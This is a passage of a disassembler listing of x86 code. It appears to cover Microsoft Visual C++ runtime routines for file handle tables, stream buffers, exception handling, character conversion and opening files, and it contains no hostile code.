loc_41CD30: ; CODE XREF: sub_41CC52+A4j
mov esi, dword_46A8E0
loc_41CD36: ; CODE XREF: sub_41CC52+90j
; sub_41CC52+DCj
xor edi, edi
test esi, esi
jle short loc_41CD82
loc_41CD3C: ; CODE XREF: sub_41CC52+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41CD79
mov cl, [ebp+0]
test cl, 1
jz short loc_41CD79
test cl, 8
jnz short loc_41CD5B
push eax
call dword_421030
test eax, eax
jz short loc_41CD79
loc_41CD5B: ; CODE XREF: sub_41CC52+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7E0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41CD79: ; CODE XREF: sub_41CC52+EFj
; sub_41CC52+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41CD3C
loc_41CD82: ; CODE XREF: sub_41CC52+65j
; sub_41CC52+71j ...
xor ebx, ebx
loc_41CD84: ; CODE XREF: sub_41CC52+195j
mov eax, dword_46A7E0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41CDDF
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41CD9F
push 0FFFFFFF6h
pop eax
jmp short loc_41CDA9
; ---------------------------------------------------------------------------
loc_41CD9F: ; CODE XREF: sub_41CC52+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41CDA9: ; CODE XREF: sub_41CC52+14Bj
push eax
call dword_421034
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41CDCE
push edi
call dword_421030
test eax, eax
jz short loc_41CDCE
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41CDD4
loc_41CDCE: ; CODE XREF: sub_41CC52+163j
; sub_41CC52+16Ej
or byte ptr [esi+4], 40h
jmp short loc_41CDE3
; ---------------------------------------------------------------------------
loc_41CDD4: ; CODE XREF: sub_41CC52+17Aj
cmp eax, 3
jnz short loc_41CDE3
or byte ptr [esi+4], 8
jmp short loc_41CDE3
; ---------------------------------------------------------------------------
loc_41CDDF: ; CODE XREF: sub_41CC52+13Ej
or byte ptr [esi+4], 80h
loc_41CDE3: ; CODE XREF: sub_41CC52+180j
; sub_41CC52+185j ...
inc ebx
cmp ebx, 3
jl short loc_41CD84
push dword_46A8E0
call dword_421038
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_41CC52 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE08 proc near ; DATA XREF: .nsp0:00417B02o
; sub_41A69A+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41CEA8
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41CE3B: ; CODE XREF: sub_41CE08+90j
cmp esi, 0FFFFFFFFh
jz short loc_41CEA1
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41CE8F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41CE8F
js short loc_41CE9A
mov edi, [ebx+8]
push ebx
call sub_416368
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4163AA
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41643E
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41CE8F: ; CODE XREF: sub_41CE08+40j
; sub_41CE08+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41CE3B
; ---------------------------------------------------------------------------
loc_41CE9A: ; CODE XREF: sub_41CE08+54j
mov eax, 0
jmp short loc_41CEBD
; ---------------------------------------------------------------------------
loc_41CEA1: ; CODE XREF: sub_41CE08+36j
mov eax, 1
jmp short loc_41CEBD
; ---------------------------------------------------------------------------
loc_41CEA8: ; CODE XREF: sub_41CE08+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4163AA
add esp, 8
pop ebp
mov eax, 1
loc_41CEBD: ; CODE XREF: sub_41CE08+97j
; sub_41CE08+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CE08 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4163AA
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41CEE0 proc near ; CODE XREF: sub_417BEE+9p
; sub_417C13+9p
mov eax, dword_469508
cmp eax, 1
jz short loc_41CEF7
test eax, eax
jnz short locret_41CF18
cmp dword_437D84, 1
jnz short locret_41CF18
loc_41CEF7: ; CODE XREF: sub_41CEE0+8j
push 0FCh
call sub_41CF19
mov eax, dword_469670
pop ecx
test eax, eax
jz short loc_41CF0D
call eax
loc_41CF0D: ; CODE XREF: sub_41CEE0+29j
push 0FFh
call sub_41CF19
pop ecx
locret_41CF18: ; CODE XREF: sub_41CEE0+Cj
; sub_41CEE0+15j
retn
sub_41CEE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF19 proc near ; CODE XREF: sub_417BEE+12p
; sub_417C13+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_4383F8
loc_41CF2C: ; CODE XREF: sub_41CF19+20j
cmp edx, [eax]
jz short loc_41CF3B
add eax, 8
inc ecx
cmp eax, offset off_438488
jl short loc_41CF2C
loc_41CF3B: ; CODE XREF: sub_41CF19+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_4383F8[esi]
jnz loc_41D069
mov eax, dword_469508
cmp eax, 1
jz loc_41D043
test eax, eax
jnz short loc_41CF6C
cmp dword_437D84, 1
jz loc_41D043
loc_41CF6C: ; CODE XREF: sub_41CF19+44j
cmp edx, 0FCh
jz loc_41D069
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_42107C
test eax, eax
jnz short loc_41CFA3
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_415C00
pop ecx
pop ecx
loc_41CFA3: ; CODE XREF: sub_41CF19+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_415CF0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41CFE6
lea eax, [ebp+var_1A4]
push eax
call sub_415CF0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_416D40
add esp, 10h
loc_41CFE6: ; CODE XREF: sub_41CF19+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_415C00
lea eax, [ebp+var_A0]
push edi
push eax
call sub_415C10
lea eax, [ebp+var_A0]
push offset asc_421B40 ; "\n\n"
push eax
call sub_415C10
push off_4383FC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_415C10
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41E6EE
add esp, 2Ch
pop edi
jmp short loc_41D069
; ---------------------------------------------------------------------------
loc_41D043: ; CODE XREF: sub_41CF19+3Cj
; sub_41CF19+4Dj
lea eax, [ebp+arg_0]
lea esi, off_4383FC[esi]
push 0
push eax
push dword ptr [esi]
call sub_415CF0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_421034
push eax
call dword_421070
loc_41D069: ; CODE XREF: sub_41CF19+2Ej
; sub_41CF19+59j ...
pop esi
leave
retn
sub_41CF19 endp
; =============== S U B R O U T I N E =======================================
sub_41D06C proc near ; CODE XREF: sub_417C37+6Cp
; sub_41B8B0+32p ...
arg_0 = dword ptr 4
inc dword_469674
push 1000h
call sub_415DC9
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D095
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D0A6
; ---------------------------------------------------------------------------
loc_41D095: ; CODE XREF: sub_41D06C+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D0A6: ; CODE XREF: sub_41D06C+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D06C endp
; =============== S U B R O U T I N E =======================================
sub_41D0B0 proc near ; CODE XREF: sub_417C37+61p
; sub_4187B6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8E0
jb short loc_41D0BF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D0BF: ; CODE XREF: sub_41D0B0+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7E0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D0B0 endp
; =============== S U B R O U T I N E =======================================
sub_41D0D6 proc near ; DATA XREF: .nsp0:00423020o
mov eax, dword_46A7C0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D0EA
mov eax, 200h
jmp short loc_41D0F0
; ---------------------------------------------------------------------------
loc_41D0EA: ; CODE XREF: sub_41D0D6+Bj
cmp eax, esi
jge short loc_41D0F5
mov eax, esi
loc_41D0F0: ; CODE XREF: sub_41D0D6+12j
mov dword_46A7C0, eax
loc_41D0F5: ; CODE XREF: sub_41D0D6+16j
push 4
push eax
call sub_41E777
pop ecx
mov dword_4697A0, eax
test eax, eax
pop ecx
jnz short loc_41D129
push 4
push esi
mov dword_46A7C0, esi
call sub_41E777
pop ecx
mov dword_4697A0, eax
test eax, eax
pop ecx
jnz short loc_41D129
push 1Ah
call sub_417BEE
pop ecx
loc_41D129: ; CODE XREF: sub_41D0D6+30j
; sub_41D0D6+49j
xor ecx, ecx
mov eax, offset off_438488
loc_41D130: ; CODE XREF: sub_41D0D6+6Ej
mov edx, dword_4697A0
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_438708
jl short loc_41D130
xor edx, edx
mov ecx, offset dword_438498
loc_41D14D: ; CODE XREF: sub_41D0D6+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_46A7E0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41D16A
test eax, eax
jnz short loc_41D16D
loc_41D16A: ; CODE XREF: sub_41D0D6+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41D16D: ; CODE XREF: sub_41D0D6+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_4384F8
jl short loc_41D14D
pop esi
retn
sub_41D0D6 endp
; =============== S U B R O U T I N E =======================================
sub_41D17B proc near ; DATA XREF: .nsp0:00423030o
; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES
call sub_418740
cmp byte_4694F4, 0
jz short locret_41D18E
jmp loc_41E7F4
; ---------------------------------------------------------------------------
locret_41D18E: ; CODE XREF: sub_41D17B+Cj
retn
sub_41D17B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D18F proc near ; CODE XREF: sub_417D4C+2D4p
; sub_417D4C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41D19B
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D19B: ; CODE XREF: sub_41D18F+8j
cmp dword_469548, 0
jnz short loc_41D1B6
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41D1E8
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D1B6: ; CODE XREF: sub_41D18F+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_437F9C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_469558
call dword_421138
test eax, eax
jz short loc_41D1E8
cmp [ebp+arg_0], 0
jz short loc_41D1F5
loc_41D1E8: ; CODE XREF: sub_41D18F+1Ej
; sub_41D18F+51j
mov dword_4694B4, 2Ah
or eax, 0FFFFFFFFh
loc_41D1F5: ; CODE XREF: sub_41D18F+57j
pop ebp
retn
sub_41D18F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1F7 proc near ; CODE XREF: sub_418556+5Ep
; sub_41C1FF+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421B80
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_469678
xor ebx, ebx
cmp eax, ebx
jnz short loc_41D266
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_421870
push esi
call dword_421028
test eax, eax
jz short loc_41D244
mov eax, esi
jmp short loc_41D261
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D1F7+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_438FF4
push esi
push ebx
call dword_42102C
test eax, eax
jz loc_41D32C
push 2
pop eax
loc_41D261: ; CODE XREF: sub_41D1F7+4Bj
mov dword_469678, eax
loc_41D266: ; CODE XREF: sub_41D1F7+2Fj
cmp eax, 2
jnz short loc_41D28F
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41D277
mov eax, dword_469548
loc_41D277: ; CODE XREF: sub_41D1F7+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_42102C
jmp loc_41D32E
; ---------------------------------------------------------------------------
loc_41D28F: ; CODE XREF: sub_41D1F7+72j
cmp eax, 1
jnz loc_41D32C
cmp [ebp+arg_10], ebx
jnz short loc_41D2A5
mov eax, dword_469558
mov [ebp+arg_10], eax
loc_41D2A5: ; CODE XREF: sub_41D1F7+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_421064
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41D32C
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_415570
add esp, 0Ch
jmp short loc_41D2FB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41D2FB: ; CODE XREF: sub_41D1F7+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41D32C
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_421064
cmp eax, ebx
jz short loc_41D32C
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_421028
jmp short loc_41D32E
; ---------------------------------------------------------------------------
loc_41D32C: ; CODE XREF: sub_41D1F7+61j
; sub_41D1F7+9Bj ...
xor eax, eax
loc_41D32E: ; CODE XREF: sub_41D1F7+93j
; sub_41D1F7+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D1F7 endp
; =============== S U B R O U T I N E =======================================
sub_41D340 proc near ; CODE XREF: sub_41D55A:loc_41D6D2p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_46A7E0
loc_41D34F: ; CODE XREF: sub_41D340+48j
mov eax, [ecx]
test eax, eax
jz short loc_41D38C
lea edx, [eax+100h]
loc_41D35B: ; CODE XREF: sub_41D340+28j
cmp eax, edx
jnb short loc_41D37B
test byte ptr [eax+4], 1
jz short loc_41D36A
add eax, 8
jmp short loc_41D35B
; ---------------------------------------------------------------------------
loc_41D36A: ; CODE XREF: sub_41D340+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41D3CF
loc_41D37B: ; CODE XREF: sub_41D340+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_46A8E0
jl short loc_41D34F
jmp short loc_41D3CF
; ---------------------------------------------------------------------------
loc_41D38C: ; CODE XREF: sub_41D340+13j
mov esi, 100h
push esi
call sub_415DC9
test eax, eax
pop ecx
jz short loc_41D3CF
add dword_46A8E0, 20h
lea ecx, ds:46A7E0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41D3B2: ; CODE XREF: sub_41D340+88j
cmp eax, edx
jnb short loc_41D3CA
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41D3B2
; ---------------------------------------------------------------------------
loc_41D3CA: ; CODE XREF: sub_41D340+74j
shl edi, 5
mov ebx, edi
loc_41D3CF: ; CODE XREF: sub_41D340+39j
; sub_41D340+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41D340 endp
; =============== S U B R O U T I N E =======================================
sub_41D3D5 proc near ; CODE XREF: sub_41D55A+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46A8E0
push edi
jnb short loc_41D435
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41D435
cmp dword_437D84, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41D42B
sub eax, 0
jz short loc_41D422
dec eax
jz short loc_41D41D
dec eax
jnz short loc_41D42B
push ebx
push 0FFFFFFF4h
jmp short loc_41D425
; ---------------------------------------------------------------------------
loc_41D41D: ; CODE XREF: sub_41D3D5+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41D425
; ---------------------------------------------------------------------------
loc_41D422: ; CODE XREF: sub_41D3D5+3Bj
push ebx
push 0FFFFFFF6h
loc_41D425: ; CODE XREF: sub_41D3D5+46j
; sub_41D3D5+4Bj
call dword_421024
loc_41D42B: ; CODE XREF: sub_41D3D5+36j
; sub_41D3D5+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41D449
; ---------------------------------------------------------------------------
loc_41D435: ; CODE XREF: sub_41D3D5+Cj
; sub_41D3D5+28j
and dword_4694B8, 0
mov dword_4694B4, 9
or eax, 0FFFFFFFFh
loc_41D449: ; CODE XREF: sub_41D3D5+5Ej
pop edi
pop esi
retn
sub_41D3D5 endp
; =============== S U B R O U T I N E =======================================
sub_41D44C proc near ; CODE XREF: sub_4185CB+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_46A8E0
push edi
jnb short loc_41D4AF
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:46A7E0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41D4AF
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41D4AF
cmp dword_437D84, 1
jnz short loc_41D4A5
xor eax, eax
sub ecx, eax
jz short loc_41D49C
dec ecx
jz short loc_41D497
dec ecx
jnz short loc_41D4A5
push eax
push 0FFFFFFF4h
jmp short loc_41D49F
; ---------------------------------------------------------------------------
loc_41D497: ; CODE XREF: sub_41D44C+41j
push eax
push 0FFFFFFF5h
jmp short loc_41D49F
; ---------------------------------------------------------------------------
loc_41D49C: ; CODE XREF: sub_41D44C+3Ej
push eax
push 0FFFFFFF6h
loc_41D49F: ; CODE XREF: sub_41D44C+49j
; sub_41D44C+4Ej
call dword_421024
loc_41D4A5: ; CODE XREF: sub_41D44C+38j
; sub_41D44C+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41D4C3
; ---------------------------------------------------------------------------
loc_41D4AF: ; CODE XREF: sub_41D44C+Cj
; sub_41D44C+2Aj ...
and dword_4694B8, 0
mov dword_4694B4, 9
or eax, 0FFFFFFFFh
loc_41D4C3: ; CODE XREF: sub_41D44C+61j
pop edi
pop esi
retn
sub_41D44C endp
; =============== S U B R O U T I N E =======================================
sub_41D4C6 proc near ; CODE XREF: sub_4185CB+32p
; sub_4185CB+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8E0
jnb short loc_41D4EE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7E0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41D4EE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41D4EE: ; CODE XREF: sub_41D4C6+Aj
; sub_41D4C6+23j
and dword_4694B8, 0
mov dword_4694B4, 9
or eax, 0FFFFFFFFh
retn
sub_41D4C6 endp
; =============== S U B R O U T I N E =======================================
sub_41D503 proc near ; CODE XREF: sub_4186A9+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8E0
jnb short loc_41D54C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_46A7E0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41D54C
push eax
call sub_41D4C6
pop ecx
push eax
call dword_421020
test eax, eax
jnz short loc_41D541
call dword_421088
jmp short loc_41D543
; ---------------------------------------------------------------------------
loc_41D541: ; CODE XREF: sub_41D503+34j
xor eax, eax
loc_41D543: ; CODE XREF: sub_41D503+3Cj
test eax, eax
jz short locret_41D559
mov dword_4694B8, eax
loc_41D54C: ; CODE XREF: sub_41D503+Aj
; sub_41D503+22j
mov dword_4694B4, 9
or eax, 0FFFFFFFFh
locret_41D559: ; CODE XREF: sub_41D503+42j
retn
sub_41D503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D55A proc near ; CODE XREF: sub_418880+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41D580
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41D58B
; ---------------------------------------------------------------------------
loc_41D580: ; CODE XREF: sub_41D55A+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41D58B: ; CODE XREF: sub_41D55A+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41D5A5
test ch, 40h
jnz short loc_41D5A1
cmp dword_469780, eax
jz short loc_41D5A5
loc_41D5A1: ; CODE XREF: sub_41D55A+3Dj
or [ebp+var_1], 80h
loc_41D5A5: ; CODE XREF: sub_41D55A+38j
; sub_41D55A+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41D5DD
dec eax
jz short loc_41D5D4
dec eax
jz short loc_41D5CB
loc_41D5B6: ; CODE XREF: sub_41D55A+9Fj
; sub_41D55A+E8j ...
mov dword_4694B4, 16h
mov dword_4694B8, ebx
jmp loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D5CB: ; CODE XREF: sub_41D55A+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41D5E4
; ---------------------------------------------------------------------------
loc_41D5D4: ; CODE XREF: sub_41D55A+57j
mov [ebp+var_C], 40000000h
jmp short loc_41D5E4
; ---------------------------------------------------------------------------
loc_41D5DD: ; CODE XREF: sub_41D55A+54j
mov [ebp+var_C], 80000000h
loc_41D5E4: ; CODE XREF: sub_41D55A+78j
; sub_41D55A+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41D612
cmp eax, 20h
jz short loc_41D609
cmp eax, 30h
jz short loc_41D600
cmp eax, 40h
jnz short loc_41D5B6
mov [ebp+var_10], esi
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D600: ; CODE XREF: sub_41D55A+9Aj
mov [ebp+var_10], 2
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D609: ; CODE XREF: sub_41D55A+95j
mov [ebp+var_10], 1
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D612: ; CODE XREF: sub_41D55A+90j
mov [ebp+var_10], ebx
loc_41D615: ; CODE XREF: sub_41D55A+A4j
; sub_41D55A+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41D65F
jz short loc_41D65A
cmp ecx, ebx
jz short loc_41D65A
cmp ecx, edi
jz short loc_41D651
cmp ecx, 200h
jz short loc_41D678
cmp ecx, 300h
jnz loc_41D5B6
mov [ebp+var_8], 2
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D651: ; CODE XREF: sub_41D55A+D8j
mov [ebp+var_8], 4
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D65A: ; CODE XREF: sub_41D55A+D0j
; sub_41D55A+D4j
mov [ebp+var_8], esi
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D55A+CEj
cmp ecx, 500h
jz short loc_41D681
cmp ecx, 600h
jz short loc_41D678
cmp ecx, edx
jz short loc_41D681
jmp loc_41D5B6
; ---------------------------------------------------------------------------
loc_41D678: ; CODE XREF: sub_41D55A+E0j
; sub_41D55A+113j
mov [ebp+var_8], 5
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D681: ; CODE XREF: sub_41D55A+10Bj
; sub_41D55A+117j
mov [ebp+var_8], 1
loc_41D688: ; CODE XREF: sub_41D55A+F5j
; sub_41D55A+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41D6A7
mov ecx, dword_4694BC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41D6A7
push 1
pop esi
loc_41D6A7: ; CODE XREF: sub_41D55A+138j
; sub_41D55A+148j
test al, 40h
jz short loc_41D6B5
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41D6B5: ; CODE XREF: sub_41D55A+14Fj
test ah, 10h
jz short loc_41D6BC
or esi, edi
loc_41D6BC: ; CODE XREF: sub_41D55A+15Ej
test al, 20h
jz short loc_41D6C8
or esi, 8000000h
jmp short loc_41D6D2
; ---------------------------------------------------------------------------
loc_41D6C8: ; CODE XREF: sub_41D55A+164j
test al, 10h
jz short loc_41D6D2
or esi, 10000000h
loc_41D6D2: ; CODE XREF: sub_41D55A+16Cj
; sub_41D55A+170j
call sub_41D340
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41D6F3
and dword_4694B8, 0
mov dword_4694B4, 18h
jmp short loc_41D731
; ---------------------------------------------------------------------------
loc_41D6F3: ; CODE XREF: sub_41D55A+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_421078
mov esi, eax
cmp esi, edi
jz short loc_41D724
push esi
call dword_421030
test eax, eax
jnz short loc_41D738
push esi
call dword_42106C
loc_41D724: ; CODE XREF: sub_41D55A+1B6j
call dword_421088
push eax
call sub_41C5D7
pop ecx
loc_41D731: ; CODE XREF: sub_41D55A+197j
mov eax, edi
jmp loc_41D80E
; ---------------------------------------------------------------------------
loc_41D738: ; CODE XREF: sub_41D55A+1C1j
cmp eax, 2
jnz short loc_41D743
or [ebp+var_1], 40h
jmp short loc_41D74C
; ---------------------------------------------------------------------------
loc_41D743: ; CODE XREF: sub_41D55A+1E1j
cmp eax, 3
jnz short loc_41D74C
or [ebp+var_1], 8
loc_41D74C: ; CODE XREF: sub_41D55A+1E7j
